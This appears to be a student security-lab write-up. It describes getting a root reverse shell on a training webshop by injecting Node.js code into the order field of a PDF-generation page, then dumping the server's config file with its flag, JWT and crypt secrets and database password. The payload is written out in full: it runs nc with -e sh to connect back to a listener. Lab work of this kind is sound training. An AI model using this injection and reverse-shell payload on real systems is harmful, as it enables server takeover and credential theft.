Lab 8 - Christian Graber, Juvan Thavalingam

Task 2:

Steps:

1. Open the web terminal and start over port 1337 for tcp/udp via nc -lvp 1337
2. Now we go to the web page and login as a customer, then go to purchases to see the purchase history.
3. On this page, in the order section we type in the first box require('child_process').exec('nc 10.2.0.2 1337 -e sh -i') and in the next box enter 1.
4. Then click generate PDF, and switch back to our web shell. We should now have access to the server command console as root!
5. We then use cd to go to /app/configs and here in the index.js file is where we find the secret key.

INDEX.JS FILE:

'use strict';

const flag = 'b89b3643-d62b-43ab-905f-c72d283b997a'; const authSecret = '6a5d1f68as189c1asd31c98ad74f$ä¨ü123^01230dfasdklöfj asjfklö ä$das-füadfc$äsdä-$ad maklfjolu89ujpoadfädüafcnadszucfbhjk9m vkldf mlökl'; const fs = require('fs'); const sslKey = fs.readFileSync('encryption/key.pem'); const sslCert = fs.readFileSync('encryption/cert.pem');

const config = { server: { host: '0.0.0.0', port: '80', sslPort: '443', SSRFPort: '8765' }, sslOptions: { key: sslKey, cert: sslCert }, crypt: { hash: 'sha256', secret: 'kslafjop2)/)*(ZOJKNKJL*IU%*IO%JH' }, mongo: { username: 'webshopEditor', password: '1234', host: 'localhost', port: 27017, name: 'webshop', connectionString() { return 'mongodb://' + this.username + ':' + this.password + '@' + this.host + ':' + this.port + '/' + this.name; } }, jwt: { secret: authSecret, }, auth: { signOptions: { audience: 'self', issuer: 'webshop', }, validateOptions: { secret: authSecret, audience: 'self', issuer: 'webshop' } }, postImages: { directory: './assets/post-images/', }, accountProfile: { directory: './public/app/assets/profiles/', } };

module.exports = config;

SECRET KEY: kslafjop2)/)*(ZOJKNKJL*IU%*IO%JH